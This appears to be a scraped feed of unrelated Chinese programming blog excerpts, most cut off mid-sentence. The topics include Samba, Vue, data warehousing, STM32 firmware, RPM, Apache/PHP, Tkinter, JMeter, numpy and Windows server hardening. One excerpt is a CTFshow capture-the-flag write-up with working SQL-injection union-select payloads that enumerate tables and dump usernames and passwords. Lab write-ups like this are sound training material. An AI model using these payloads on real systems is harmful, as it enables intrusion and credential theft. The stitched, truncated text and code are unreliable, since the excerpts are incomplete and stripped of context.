~]# setenforce 0 4.查看网段 5.linux挂载端,扫描共享目录 [root@localhost ~]# smbclient -L //192.168.133.1/ Enter SAMBA\root's password: 出现报错: protocol negotiation failed: NT_STATUS_CONNECTION_RESET 此时进入不了查看界面,解决办法输入: [root@localhost ~]# vi /etc/samba/smb.

个人信息界面+修改密码界面

下班没啥事,花费三个小时做了一个“个人设置”界面,所使用的框架是vue,技术是element UI组件。 拿去不谢!!!有帮助的话,点个赞再走 <template> <div style="background-color:#FCFCFC;font-family:'宋体';height:100%;"> <div> <my-bread level1='个人中心' level2='修改密码' :level3="levelName"></my-bread> </div> <div style="margin-top:25px;margin-left:80px;"> <el-row :gutter="10"> <el-col :span="2"> <div style="background-color:#FFEBCD;width:60px;height:60px;display:inline-block;border-radius:50%;overflow:hidden;"> <el-image :src="src" style="width:60px;height:60px;"></el-image> </div> <div style="margin-top:5px;margin-left:6px;"><span>王某某</span></div> <div style="margin-top:50px;margin-left:1px;"><el-button type="text" style="font-size:15px;color:#4D4D4D;" @click="infomationClick()">个人信息<span style="color:#B0E0E6;" v-show="infomationShow" class="el-icon-s-promotion"></span></el-button></div> <div style="margin-top:5px;margin-left:1px;"><el-button type="text" style="font-size:15px;color:#4D4D4D;" @click="passwordClick()">修改密码<span style="color:#B0E0E6;" v-show="passwordShow" class="el-icon-s-promotion"></span></el-button></div> </el-col> <el-col :span="21"> <el-row :gutter="10" style="margin-top:20px;"> <el-col :span="2"><div style="text-align:right;"><span>账号:</span></div></el-col> <el-col :span="5">0000000000</el-col> </el-row> <!-- 个人信息 --> <el-row v-show="infomationShow"> <el-card style="margin-top:30px;"> <el-row> <el-col :span="6"> <el-row :gutter="12" style="margin-top:20px;"> <el-col :span="8"><div style="

简述离线数据处理流程

之前也做过一段时间的大数据,自己一直记性不太好,怕遗忘所以捞一下~ 本质其实就是一个数据的流转问题。。 目录 1.数据采集数据来源数据传输在数据采集时需要注意的一些问题 2.数据预处理3.数据入库(数仓)数仓建设1. 需求分析2. 维度建模(星型模型)3. 设计数仓分层架构(ods-dwd-dws-ads)4. 定制规范(命名规范、模型规范、开发规范、流程规范)5. 数据治理(数据质量,数据安全,元数据管理)6. 开工ETL/BI,迭代开发 1.数据采集 数据来源 主要分为两大块~ 数据库(结构化数据):基本上就是后台产生的业务数据日志文件(半结构化数据):比方说埋点产生的用户行为数据 数据传输 如果是数据库里的数据就比较简单了,直接上sqoop或者kettle将数据库里的数据导入hdfs.如果是日志文件的数据,基本上用的都是Flume + Kafka的经典组合。Flume如果捕捉到有新的日志文件产生或者日志文件有新的数据产生会立即采集过来,所以一般数据量比较大,所以就需要kafka进行缓存(削峰),然后再定量或定时存入hdfs,大致流程如下: 日志文件=>Flume(Kafka生产者,日志采集)=>Kafka(缓存)=>Flume(Kafka消费者)=>hdfs 在数据采集时需要注意的一些问题 保证数据采集稳定性(可靠性):比方说采集过程中Flume突然down掉了该怎样处理避免数据的丢失或重复采集:Flume采集完一个文件后一般会给一个标注,比方说加一个completed的后缀名,那如果采集到一半down掉了,标记没有打上,然后重启flume后再采集就会造成重复采集的问题。数据源类型复杂:面对各种各样的数据源可能需要进行Sink的二次开发数据源结构有可能产生变化:数仓中的某些表结构会经常根据业务需求来变化,当我们sqoop从mysql导入到数仓的时候怎样去捕捉这个表结构的变化~ 2.数据预处理 去噪: 离群点异常值的处理,比方说年龄出现了1000岁这种数据的处理。去重:重复数据的去重处理。单位统一:数据有可能是多个部门开发的,会出现字段单位不一致的情况,汇集到一起进行单位的统一,包括时间或者时间戳的统一。 3.数据入库(数仓) 数仓建设 1. 需求分析 就是业务调研、需求调研开一大堆会讨论,然后划分主题域,确定主题,然后构建业务总线矩阵。 这是数据仓库项目最重要的一个环节,数仓说到底还是服务于业务,支撑于业务,如果需求分析不准确,做了没人用,上了不好用,会直接影响业务/客户的使用,最终导致项目的失败。 2. 维度建模(星型模型) 首先思考: 1.)哪些维度对主题分析有用? 2.)如何使用现有数据生成维表? 3.) 用什么指标来"度量"主题? 4.) 如何使用现有数据生成事实表? 维度表:表示对分析主题所属类型的描述。比如"昨天早上我在全家花费10元购买了一个鸡腿"。那么以购买为主题进行分析,可从这段信息中提取三个维度:时间维度(昨天早上),地点维度(全家), 商品维度(鸡腿)。通常来说维度表信息比较固定,且数据量小。 事实表:表示对分析主题的度量。比如上面那个例子中,10元就是事实信息。事实表包含了与各维度表相关联的外码,并通过JOIN方式与维度表关联。事实表的度量通常是数值类型,且记录数会不断增加,表规模迅速增长。 星形模式的维度建模由一个事实表和一组维度表组成,且具有以下特点: a. 维表只和事实表关联,维表之间没有关联; b. 每个维表的主码为单列,且该主码放置在事实表中,作为两边连接的外码; c. 以事实表为核心,维表围绕核心呈星形分布; 3. 设计数仓分层架构(ods-dwd-dws-ads) ods: 原始数据,是业务数据流动过程的第一个存储区,实现了数据仓库从各个业务系统的数据源中将数据抽取出来,并且装载到ods层的这一过程,从而实现统一的全局的企业数据平台,为以后的数据抽取、清洗、转换过程打下坚实的基础。对于数据的数据源可以采用增量的方式进行抽取,对于经常变化更新的数据一般采用全量的方式进抽取。 dwd: 结构与粒度原始表保持一致,对ods层数据进行清洗(去除空值、脏数据、超过极限范围的数据)同时,为了提高数据明细层的易用性,该层会将一些维度冗余到事实表中,减少事实表和维度的关联,提高查询效率. dws:又称做数据集市或者大宽表,比如:用户表、流量表、订单表等。一个表就会包含多个很多字段,涉及多个业务过程,用于提供后续的业务查询,OLAP分析,数据分发等. ads: 应用层是根据业务需要,由前面三层数据统计而出的结果,可以直接提供查询展现,或导入至Mysql中使用。 4. 定制规范(命名规范、模型规范、开发规范、流程规范) 模型是整个数仓建设基石,规范是数仓建设的保障。 (1) 词根 词根是维度和指标管理的基础,划分为普通词根与专有词根,提高词根的易用性和关联性。 普通词根:描述事物的最小单元体,如:交易-trade。 专有词根:具备约定成俗或行业专属的描述体,如:美元-USD。 (2) 表命名规范

基于STM32和freeRTOS智能门锁设计方案

基于STM32和freeRTOS智能门锁设计方案 前言 ​ 项目基于STM32单片机为MCU,通过UART,SPI和蓝牙模块,RC522模块连接,MCU采用freeRTOS实时操作系统,门锁方案实现了蓝牙开锁,键盘密码,刷卡无线射频识别开锁。 正文 蓝牙,射频,键盘分别使用3个任务函数进行数据处理,使用STM32F103 demo,将freeRTOS驱动文件导入。定义好任务属性,句柄以及任务调度函数。 //任务优先级 #define START_TASK_PRIO 1 //任务堆栈大小 #define START_STK_SIZE 256 //任务句柄 TaskHandle_t StartTask_Handler; //任务函数 void start_task(void *pvParameters); //任务优先级 #define INTERRUPT_TASK_PRIO 2 //任务堆栈大小 #define INTERRUPT_STK_SIZE 256 //任务句柄 TaskHandle_t INTERRUPTTask_Handler; TaskHandle_t KEYTask_Handler; TaskHandle_t RC522Task_Handler; //任务函数 void key_task(void *p_arg); void interrupt_task(void *p_arg); void RC522_task(void *p_arg); 主函数部分初始化各个模块,创建开始任务。准备开始任务调度。 int main(void) { delay_init(); //延时函数初始化 NVIC_PriorityGroupConfig(NVIC_PriorityGroup_2); //设置NVIC中断分组2:2位抢占优先级,2位响应优先级 uart_init(115200); //串口初始化为115200 uart2_init(9600); //串口2初始化为115200 uart3_init(9600); //串口2初始化为115200 LED_Init(); KEY_Init(); LCD_Init(); InitRc522(); //初始化射频卡模块 PcdReset(); //复位RC522 delay_ms(2); PcdAntennaOn(); //开启天线发射 LCD_Clear(WHITE); POINT_COLOR=BLACK; LCD_ShowString(30,40,210,24,24,"

Linux_RPM解决安装包依赖关系方法

RPM基础 一.linux应用程序基础二.常见的软件包封装类型三.RPM包管理工具四.挂载、解挂载方法五.rpm命令的格式六.**查询已安装的RPM软件信息七.查询RPM软件包文件中的信息八.安装、升级、卸载、RPM软件包九.维护RPM数据十.导入验证公钥十一.解决安装包依赖关系方法 一.linux应用程序基础 应用程序与系统命令的关系 角色系统命令应用程序文件位置一般在/bin和sbin目录中或为shell内部命令通常在/usr/bin、/usr/sbin和/usr/local/bin、/usr/local/sbin目录中主要用途完成系统的基本管理工作,例如IP配置工具完成相对独立的其他辅助任务,例如网页浏览适用环境一般只在字符操作界面中运行根据实际需要,有此程序可在图形界面中运行运行格式一般包括命令字,命令选项和命令参数通常没有固定的执行格式,由程序开发者自行定义 典型应用程序的目录结构 文件类型保存目录说明普通可执行程序文件/usr/bin所有用户可执行服务器程序、管理程序文件/usr/sbin只有管理员能执行应用程序配置文件/etc通过rpm或yum方式安装的应用程序日志文件/var/log系统日志应用程序参考文档文件/usr/share/doc关于应用程序的参考文档等数据应用程序手册页文件/usr/share/man执行文件及配置文件的man手册页 二.常见的软件包封装类型 文件类型保存目录RPM软件包扩展名为".rpm" ,适用于RHEL、CentOS等系统DEB软件包扩展名为".deb",适用于Ubuntu、Debian等系统源代码软件包一般为".tar.gz"、".tar.bz2"等格式的压缩包,包含程序的原始代码,需要编译安装附带安装程序的软件包软件包的扩展名不一以TarBall格式的居多,在软件包中会提供用于安装的可执行程序或者脚本文件。如install.sh、setup 等。 安装时只需运行安装文件就可以根据向导程序的提示完成安装操作 三.RPM包管理工具 1)RPM软件包管理器Red-Hat Package Manager 由Red Hat公司提出,被众多Linux发往行版所采用 建立统一的文件数据库 详细记录软件包安装、卸载、升级等变化信息 自动分析软件包依赖关系 2)RPM软件包 ①软件素材参考:http://www.rpm.org ②一般命名格式 四.挂载、解挂载方法 挂载命令: mount /dev/cdrom /mnt mnt :临时挂载的目录 1.查看光盘图标是否点亮 2.设置中,点击连接 3.df -h 查看挂载 [root@localhost ~]# df -h 文件系统 容量 已用 可用 已用% 挂载点 /dev/sda3 36G 4.7G 31G 14% / devtmpfs 978M 0 978M 0% /dev tmpfs 993M 0 993M 0% /dev/shm tmpfs 993M 9.0M 984M 1% /run tmpfs 993M 0 993M 0% /sys/fs/cgroup /dev/sda1 497M 151M 346M 31% /boot tmpfs 199M 12K 199M 1% /run/user/42 tmpfs 199M 0 199M 0% /run/user/0 [root@localhost ~]# 4.

CentOS7 yum install 安装最新版本 Apache httpd 并配置php

当前官方 yum 源如 epel,base 的 Apache httpd 版本为 2.4.6-90,可以用 ius 这个第三方 yum 源,该源的特点是提供各类 rpm 包的最新版本。 ius 源依赖于 epel 源,如果已经有了可以跳过这一步: rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm 添加 ius 源: rpm -Uvh https://mirrors.tuna.tsinghua.edu.cn/ius/ius-release-el7.rpm 上 ius 源搜索 httpd,可以看到在 ius 源上是叫作 httpd24u: 下载 httpd24u: yum install httpd24u 查看查看和启动: 参考链接 ius 地址: https://mirrors.tuna.tsinghua.edu.cn/ius/ 原文链接 ius 地址: https://mp.csdn.net/console/home?spm=1011.2124.3001.4503 centos7虚拟机httpd无法解析php代码 配置apache来使用php-fpm,并写好配置文件,内容如下 <FilesMatch \.php$> SetHandler "proxy:fcgi://127.0.0.1:9000" </FilesMatch> 保存到/etc/httpd/conf.modules.d/10-php-fpm.conf。 然后启动php-fpm,并重启apache [root@localhost conf.modules.d]# /etc/init.d/php-fpm restart Restarting php-fpm (via systemctl): [ 确定 ] [root@localhost conf.

mysql_query("set names 'utf8');_mysql_query('set names utf8');和header('Content-type:text/html; chars...

源自:3-1 mysql_fetch_row()以索引数组形式获取数据 mysql_query('set names utf8');和header('Content-type:text/html; charset=utf-8');有什么区别 如题,在代码的前面写了header('Content-type:text/html; charset=utf-8');,为什么插入中文数据的时候还是会乱码,要加mysql_query('set names utf8');才不会乱码,他俩各自的作用是什么,谢谢。<?php header('Content-type:text/html; charset=utf-8'); if( $con = mysql_connect('localhost','root','')){ echo '连接成功 '; }else{ echo '连接失败 '; } if(mysql_select_db('test')){ echo '选择数据库成功 '; } else{ echo '选择数据库失败 '; } mysql_query('set names utf8');//用于防止插入中文数据时乱码 $sql='insert into tab(name) values("苹果")'; if(mysql_query($sql,$con)){ echo '插入成功 '; }else{ echo mysql_error().' '; echo '插入失败 '; } $_search='select * from tab limit 1'; $res=mysql_query($_search); if($res){ $row = mysql_fetch_array($res); var_dump($row); }else{ echo '空值 ';

python风控建模实战(分类器模型+回归模型)

在全球数字经济时代,有一种金融优势,那就是基于消费者大数据的纯信用! 我们不妨称之为数据信用,它是一种面向未来的财产权,它是数字货币背后核心的抵押资产,它决定了数字货币时代信用创造的方向、速度和规模。一句话,谁掌握了数据信用,谁就控制了数字货币的发行权!数据信用判断依靠的就是金融风控模型。 数据信用判断依靠的就是金融风控模型。更准确的说谁能掌握风控模型知识,谁就掌握了数字货币的发行权! 欢迎各位同学学习: 欢迎各位同学学习python风控建模实战lendingClub,链接地址为https://edu.csdn.net/course/detail/30742 之前博主录制《python信用模型建模(附代码)》课程是针对逻辑回归模型模型;《python风控建模实战lendingClub》此课程是针对集成树模型,包括catboost,lightgbm,xgboost。两个课程算法原理是不同的。 此课程catboost集成树算法有诸多优点,自动化处理缺失数据,自动化调参,无需变量卡方分箱。学员学完后不再为数据预处理,调参,变量分箱而烦恼。此教程建立模型性能卓越,最高性能ks:0.5869,AUC:0.87135,远超互联网上其它建模人员性能。 (lendingclub分类器模型数据下载地址) (移动杯消费金融回归模型百万奖金挑战赛数据下载地址) 课程目录 章节1 python编程环境搭建 课时1风控建模语言,python,R,SAS优劣对比 课时2Anaconda快速入门指南 课时3Anaconda下载安装 课时4canopy下载和安装 课时5Anaconda Navigator导航器05:38 课时6python第三方包安装(pip和conda install) 课时7Python非官方扩展包下载地址 课时8Anaconda安装不同版本python 课时9为什么使用jupyter notebook及如何安装 课时10如何用jupyter notebook打开指定文件夹内容? 课时11jupyter基本文本编辑操作 课时12jupyter生成在线PPT汇报文档 课时13jupyter notebook用matplotlib不显示图片解决方案 章节2 python编程基础 课时14Python文件基本操作 课时15python官网 课时16变量_表达式_运算符_值 课时17字符串string 课时18列表list 课时19程序的基本构架(条件,循环) 课时20数据类型_函数_面向对象编程 课时21python2和3区别 课时22编程技巧和学习方法 章节3 python机器学习基础知识 课时23UCI机器学习数据库介绍 课时24机器学习书籍推荐 课时25如何选择算法 课时26sklearn机器学习算法速查表 课时27python数据科学常用的库 课时28python数据科学入门介绍(选修) 章节4 lendingClub业务介绍(P2P鼻祖) 课时29lendingClub业务简介 课时30lendingclub债务危机及深层次时代背景 课时31lendingClub官网数据下载(或本集参考资料下载) 章节5catboost基础介绍 课时32catboost基础知识讲解-比xgboost更优算法登场 课时33catboost官网介绍 章节6 lengding Club实战_catboost分类器模型 课时34数据清洗和首次变量筛选 课时35catboost第三方包下载和安装 课时36import导入建模的包 课时37读取数据和描述性统计 课时38train,test训练和测试数据划分 课时39fit训练模型 课时40模型验证概述 课时41树模型需要相关性检验吗? 课时42交叉验证cross validation

python 文本框位置_python:TKinter获取Text文本框的输入内容

1. 示例代码: get_input.py # -*- coding: utf-8 -*- import tkinter as tk window = tk.Tk() #建立窗口window window.title('示例1') #窗口名称 window.geometry("400x240") #窗口大小(长*宽) textExample=tk.Text(window, height=10) #文本输入框 textExample.pack() #把Text放在window上面,显示Text这个控件 def getTextInput(): result=textExample.get("1.0","end") #获取文本框输入的内容 print(result) #Tkinter 文本框控件中第一个字符的位置是 1.0,可以用数字 1.0 或字符串"1.0"来表示。 #"end"表示它将读取直到文本框的结尾的输入。我们也可以在这里使用 tk.END 代替字符串"end"。 #按钮(#command绑定获取文本框内容的方法) btnRead=tk.Button(window, height=1, width=10, text="Read", command=getTextInput) btnRead.pack() #显示按钮 window.mainloop() #显示窗口 2. 运行结果:

postionfixed固定_详解如何解决position:fixed固定定位偏移问题

问题 css固定定位position:fixed很容易使用,就是相对浏览器的viewport进行定位,top:0;left:0就是在左上角。 .container{ width: 100px; height: 100px; background: #888; position: fixed; top: 100px; left: 100px; } 当父级元素设置transform之后 .BFC-box{ margin:200px; height: 200px; width: 200px; border:2px solid red; transform: scale(1); } .container{ width: 100px; height: 100px; background: #888; position: fixed; top: 100px; left: 100px; } fixed元素变成了相对父元素进行定位。 真是令人蛋疼,原因在于transform提升了元素的地位,在W3C规范中有如下说明: For elements whose layout is governed by the CSS box model, any value other than none for the transform also causes the element to become a containing block, and the object acts as a containing block for fixed positioned descendants

notepad++怎样运行python_notepad++ 配置运行Python脚本的方法

在软件测试中python语言是一门非常重要的语言,可以用它来完成很多的工作,比如完成ui层的自动化测试、接口测试等。 python的开发工具也有很多,有大而全的pycharm,也有不太好用的自带idle,怎么选择一个好的开发工具成为很多初学者比较关心的问题。 notepad++是一款非常流行的文本编辑器,支持几乎所有主流语言的代码编辑,但是也仅仅只能编辑,编辑完成后还是得使用相应的工具才能运行。能不能在notepad++中直接运行编辑完成的代码呢??答案是肯定的。 接下来我们通过对notepad++做一些基本的配置,来达到能运行python脚本的目的。 1、安装python。直接通过下载,然后安装,安装完成后将python的安装目录添加到环境变量path的值中。 如果是安装的anaconda,注意路径就是anaconda的安装路径 例如我本地安装的路径d:\programdata\anaconda3那么python.exe就是d:\programdata\anaconda3\python.exe后面配置的时候需要用得到 2、安装notepad++。通过萬仟网下载,安装即可。 3、notepad++ ->"运行"菜单->"运行"按钮 路径填写 cmd /k d:\programdata\anaconda3\python.exe "$(full_current_path)"& echo. &echo.& pause & exit go语言设置 成go的(go跟python不一样,路径后面加个空格,再加个run空格就好了): cmd /k c:\go\bin\go.exe run "$(full_current_path)"& pause & exit 到这里就完成了,notepad++设置运行最好定位到具体的python.exe或go.exe文件,这样基本上不会出现问题。 希望与广大网友互动?? 点此进行留言吧!

JMeter压力测试

结合jdk的jconsole.exe和Apache JMeter做一个简单的压力测试 jconsole jdk的bin目录下,打开jconsole.exe选择本地启动的项目 JMeter 下载地址:http://jmeter.apache.org/download_jmeter.cgi 选择Binaries下载解压,打开bin目录下的jmeter.bat 打开后如下图,cmd窗口不能关,里面的提示为:不要使用GUI(cmd窗口外的另一个窗口)运行压力测试,GUI仅用于压力测试的创建和调试;执行压力测试请不要使用GUI。使用下面的命令来执行测试([jmx file] 后面的是小写L 不是1): 支持中文 test plan右键添加线程组 根据需求设置线程数 添加请求默认值 根据项目情况添加信息头 添加http请求 请求参数为json时 上传接口,这个接口需要传一个参数+文件 文件名称是文件的绝对路径,参数名为后端需要的参数名 如果没有文件仅传参数,请求头需要加个content-type 添加断言,这里只判断响应码是否为200,可根据实际情况设置 添加察看结果树/汇总报告,添加之后点击绿色箭头运行就可以了(压力测试不使用这个进行) 在jmeter的bin目录下创建一个文件夹,存放保存的测试计划,之后使用之前开启的cmd窗口运行命令 jmeter -n -t [jmx file] -l [results file] -e -o [Path to web report folder] [jmx file] 测试文件名 [results file] 运行结果文件 [Path to web report folder] 网页版运行结果 testResult中的 index.html使用浏览器打开后

Python-Numpy库中的tile()函数详解

numpy库中tile()函数详解 简介格式返回值举例1、横向平铺2、纵向平铺3、横向纵向平铺 机器学习实例参考 简介 tile()函数是在Python的numpy.lib.shape_base库中,其功能是平铺所给的数组。 注意:使用前需import numpy import库或模块的三种方法(以numpy库为例) import numpy 说明:import整个numpy库,在import时简单,但使用时麻烦,其缺点在于: 1、调用整个库或模块浪费时间和资源,尤其是需要多个库或模块支撑时。 2、在使用其中的函数使需要有numpy.来限定,否则会报错,如 numpy.tile()from numpy import * 说明:import numpy库中的任意函数,*为通配符,与上一种方式的不同之处在于不需要库名来限定(常用这种方法)from numpy import tile 说明:仅仅import numpy库中的tile()函数 格式 tile(A, reps) A:输入的数组(array)reps:数组A重复的次数;可以有两种形式(数字和二维元组) tile的本意有“铺以瓷砖,铺以瓦”的意思,即将数组视为瓷砖,在一个平面上将此数组平铺开来(数字对应一维,元组对应二维 tuple(纵铺个数,横铺个数) 返回值 返回平铺后的数组(array) 举例 我们先给定一个2维数组 from numpy import * c = array([[1,2],[3,4]]) print(c) Output: [[1 2] [3 4]] 1、横向平铺 print(tile(c,4)) #等效为print(tile(c,(1,4))) Output: [[1 2 1 2 1 2 1 2] [3 4 3 4 3 4 3 4]] 2、纵向平铺 print(tile(c,(3,1))) Output: [[1 2] [3 4] [1 2] [3 4] [1 2] [3 4]] 3、横向纵向平铺 print(tile(c,(3,4))) Output: [[1 2 1 2 1 2 1 2] [3 4 3 4 3 4 3 4] [1 2 1 2 1 2 1 2] [3 4 3 4 3 4 3 4] [1 2 1 2 1 2 1 2] [3 4 3 4 3 4 3 4]] 机器学习实例 kNN中,在计算距离时,需要用到此函数来对目标向量进行扩展,进而得到与各个实例的差值数组(代码来自《机器学习实战》-Ch2)

mysql服务器端按照显示无权限安装_菜鸟完整配置服务器 流程及权限设置

本人是一菜鸟,虽然刚刚接触网络,但是有点痴迷。最近因为网络环境允许自己搞台服务器,就选了WIN2003搭建服务器。 原以为网上教程还有落伍者的教程多的是,以为简单的很!哎,谁知道教程虽多,不是缺这个就是缺那个,有几个貌似很详细的(确实很详细),竟然就漏拉那么一点点(比如PHP的一个文件),到头来还是配置的出错,不知道是作者。。。还是其他原因,反正我在这上边耽误了很长时间,对咱们菜鸟们的成长造成了很坏的影响,呵呵,咱们可是未来胡联网的太阳呀!(有点远,不好意思)结果到今天整整7天了,才搞出点眉目,也许小弟过于愚笨,大家表笑话偶。 再就是本人写的虽然都是个人的肺腑之言,肯定也会引用一些高手的东东,请不要固执的以为有转贴或者是抄袭,因为已经有了的好东西咱们就得利用,咱们的目的是更完善,也希望斑竹给小的落个伍,小的敢有胆量发出来还不嘉奖下?不胜感激。 言归正传:本人以为,服务器的配置主要分两大块:1:底层环境的配置安装;2:组件安全、硬盘权限的分配、服务的处理等安全问题处理。 一、先来底层环境的安装吧: 注意事项: 1、大家一定注意下php配置的时候一定要将 php4ts.dll 文件复制到windows文件夹内,否则会出现 seaver ..的故障(本人耽误了好长时间,真郁闷)下面教程内没写这点,估计是漏了 对了,底层环境安装,小勤哥哥刚教的我,我就不再码字了咱们直接看他说的吧(非常全面,但大家要注意我上边提到的注意事项啊,找到的唯一缺点,叫咱们菜鸟不转都没理由):; 引用一下(先谢谢小勤哥哥) 二、是安全设置,这是最重要的: 先分一下(1)、组件和服务安全(2)、硬盘权限(3)、IIS权限(4)、PHP、MYSQL、ZEND的安全和权限 ASP的防马 (一)、组件和服务安全:本地安全策略设置 开始菜单—>管理工具—>本地安全策略 A、本地策略——>审核策略 审核策略更改成功失败 审核登录事件成功失败 审核对象访问失败 审核过程跟踪无审核 审核目录服务访问失败 审核特权使用失败 审核系统事件成功失败 审核账户登录事件成功失败 审核账户管理成功失败 B、本地策略——>用户权限分配 关闭系统:只有Administrators组、其它全部删除。 通过终端服务允许登陆:只加入Administrators,Remote Desktop Users组,其他全部删除 C、本地策略——>安全选项 交互式登陆:不显示上次的用户名 启用 网络访问:不允许SAM帐户和共享的匿名枚举 启用 网络访问:不允许为网络身份验证储存凭证 启用 网络访问:可匿名访问的共享全部删除 网络访问:可匿名访问的命全部删除 网络访问:可远程访问的注册表路径全部删除 网络访问:可远程访问的注册表路径和子路径全部删除 帐户:重命名来宾帐户重命名一个帐户 (可以停掉他) 帐户:重命名系统管理员帐户重命名一个帐户 (再建一个假的,无权限的,搞个超级密码,嘿嘿) D、禁用不必要的服务 开始-运行-services.msc TCP/IPNetBIOS Helper提供 TCP/IP 服务上的 NetBIOS 和网络上客户端的 NetBIOS 名称解析的支持而使用户能够共享 文件、打印和登录到网络 Server支持此计算机通过网络的文件、打印、和命名管道共享 Computer Browser 维护网络上计算机的最新列表以及提供这个列表 Task scheduler 允许程序在指定时间运行 Messenger 传输客户端和服务器之间的 NET SEND 和 警报器服务消息

双向数据绑定v-model与v-decorator

数据绑定 1.单向数据绑定 将数据写在html结构中,然后进行渲染,一旦HTML代码生成好后,就没有办法再进行改变了,如果有新的数据出现,那就必须要先把之前的HTML代码删掉,然后重新把新的数据和模板一起整合形成新的HTML代码,再插入到文档流中 2.双向数据绑定 数据模型和视图之间的双向绑定。当数据发生变化的时候,视图也就发生变化,当视图发生变化的时候,数据也会跟着同步变化;可以这样说用户在视图上的修改会自动同步到数据模型中去,数据模型也是同样的变化。双向数据绑定的优点:无需和单向数据绑定那样进行CRUD(Create,Retrieve,Update,Delete)操作,双向数据绑定最常应用在就表单上,这样当用户在前端页面完成输入后,不用任何操作,我们就已经拿到了用户输入好的数据,并放到数据模型中了。 2.1 v-decorator Vue中,使用v-model来进行数据绑定,在Vue-Ant Design 框架的使用中,会有v-decorator的使用,但是两者同时使用的时候,v-model数据绑定却会失效, 2.2 v-model v-model用于表单数据的双向绑定,其实它就是一个语法糖,这个背后就做了两个操作: 1. v-bind绑定一个value属性 2. v-on指令给当前元素绑定input事件 自定义组件使用v-model,应该有以下操作: 1. 接收一个value prop 2. 触发input事件,并传入新值

信息学奥赛一本通 1132:石头剪子布 | OpenJudge NOI 1.7 04

【题目链接】 ybt 1132:石头剪子布 OpenJudge NOI 1.7 04:石头剪子布 【题目考点】 1. 字符串处理 2. 判断字符串相同 s1,s2是字符数组,判断二者是否相同:strcmp(s1,s2)==0为真,二者相同,否则二者不同。s1,s2是string类对象,判断二者是否相同:s1 == s2为真,二者相同,否则二者不同。 【解题思路】 先输入n,循环n次,每次输入两个字符串 如果这两个字符串相同,输出Tie如果第一个字符串表示的出拳胜过第二个字符串表示的出拳,输出Player1如果第二个字符串表示的出拳胜过第一个字符串表示的出拳,输出Player2 在两个字符串不同的前提下,如何比较两个字符串表示的出拳谁胜谁负,有不同的方法实现。 1. 使用三个判断语句: 如果玩家1出剪刀 如果玩家2出石头,玩家2赢如果玩家2出布,玩家1赢 再写出“如果玩家1出石头”,“如果玩家1出布”的判断语句,即可完成判断 2. 使用逻辑表达式 如果玩家1出剪刀且玩家2出布,或玩家1出石头且玩家2出剪刀,或玩家1出布且玩家2出石头,此时玩家1赢。否则,玩家2赢 3. 初始化二维数组来记录胜负规则,需要时查询二维数组。 【题解代码】 解法1:使用字符数组,三个判断语句 判断字符串相同使用strcmp函数,判断一个字符串是不是剪刀,就写为:strcmp(s1, "Scissors") == 0 #include <bits/stdc++.h> using namespace std; int main() { char s1[10], s2[10]; int n; cin>>n; for(int i = 0; i < n; ++i) { cin>>s1>>s2; if(strcmp(s1, s2) == 0) cout<<"Tie"<<endl; else { if(strcmp(s1, "Rock") == 0) { if(strcmp(s2, "

mysql重复输入3次字符串_mysql语句——字符串多次替换,七日排重

字符串多次替换:(替换了四次) SELECT REPLACE(REPLACE(REPLACE(REPLACE( T5, substring( T5, LOCATE(‘&timeStamp‘, T5), 24 ), ‘‘ ),substring( T5, LOCATE(‘&accessSignature‘, T5), 47 ),‘‘),substring( T5, LOCATE(‘&time_stamp‘, T5), 25 ),‘‘),substring( T5,LOCATE(‘&access_signature‘, T5), 48 ),‘‘) as temp FROM v2-api-log REPLACE(列,要被替换的字符串,替换成为的字符串) 七日排重: CREATE TABLE new_table ( SELECT t1.* FROM tmp_table t1 JOIN tmp_table t2 ON t1.temp = t2.temp AND t1.T1 = t2.T1 AND t1.T6 != t2.T6 WHERE abs(DATE(t1.daytemp) - DATE(t2.daytemp)) <= 7 GROUP BY t1.T5) 需求是排重,之后按照两个重复数据的时间是否在七日之内,如果在七日之内就算重复,如果不在就不算。 思路是一张表当两张表关联查询

CTFSHOW-WEB入门SQL注入部分(大概是长期更新)

SQL注入 0x01 web 1710x02 web172我自己的莫名其妙方法下来是Y4大佬的解法 0x03 web1730x04 web174(已补)0x05 web 1750x06 web1760x07 web177-179(久违的更新 摸鱼人回来补题辣)0x08 web 180-1820x09 web183 不一定会所有题都放上来(懒) 但是我尽量 0x01 web 171 总算是开始刷sql注入题了 之前学了 但是没写几题 也算个纯萌新了 所以基础题会细一点 也为了加强自己记忆 1,2,3都能回显 继续直接爆表名 1'union select 1,2,table_name from information_schema.tables where table_schema=database() --+ 直接爆字段 记得ctfshow_user要加'' 我试了半天不知道哪出问题 还得去翻Y4大佬的博客才发现问题 tcl 1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+ 然后就拿到了 1' union select id,username,password from ctfshow_user --+ 0x02 web172 先放个撸猫界面源码里的注释 然后看题 发现已经给了表名ctfshow_user2 我自己的莫名其妙方法 随便试试回显 然后 我好像莫名其妙干出来了 1' union select 1,password from ctfshow_user2 --+ 直接出了 但是

Halcon图像的傅里叶变换

图 像 的 傅 里 叶 变 换 图像的傅里叶变换 图像的傅里叶变换 傅里叶变换定义:傅里叶变换是时域到频域的变换方法,通俗讲是将现在的空间变换到一个能够反映某些事物出现频率的空间。 图像傅里叶变换: 用途:一般用于对出现频率高的像素点的分析以及噪声的去除。 频率图特点:图像中心为频率为0的原点,由内到外频率越来越高。 其中灰度变换激烈的地方对应高频成分,如边缘;灰度变换不大的地方对应低频。 dev_open_file_dialog ('read_image', 'default', 'default', Selection) read_image (Image, Selection) rgb1_to_gray (Image, GrayImage) * 傅里叶变换 fft_image (GrayImage, ImageFFT) area_center (ImageFFT, Area, Row, Column) * 画圆 gen_circle (Circle, Row, Column, 5) paint_region (RegionDifference, ImageFFT, ImageResult, 255, 'fill') * 傅里叶逆变换 fft_image_inv (ImageResult, ImageFFTInv) gen_circle (Circle1, Row, Column, 100.5) difference (Circle1, Circle, RegionDifference) paint_region (RegionDifference, ImageFFT, ImageResult, 255, 'fill')

仿百度网盘文件管理系统|.NET高仿百度网盘文件分享带分享与会员功能

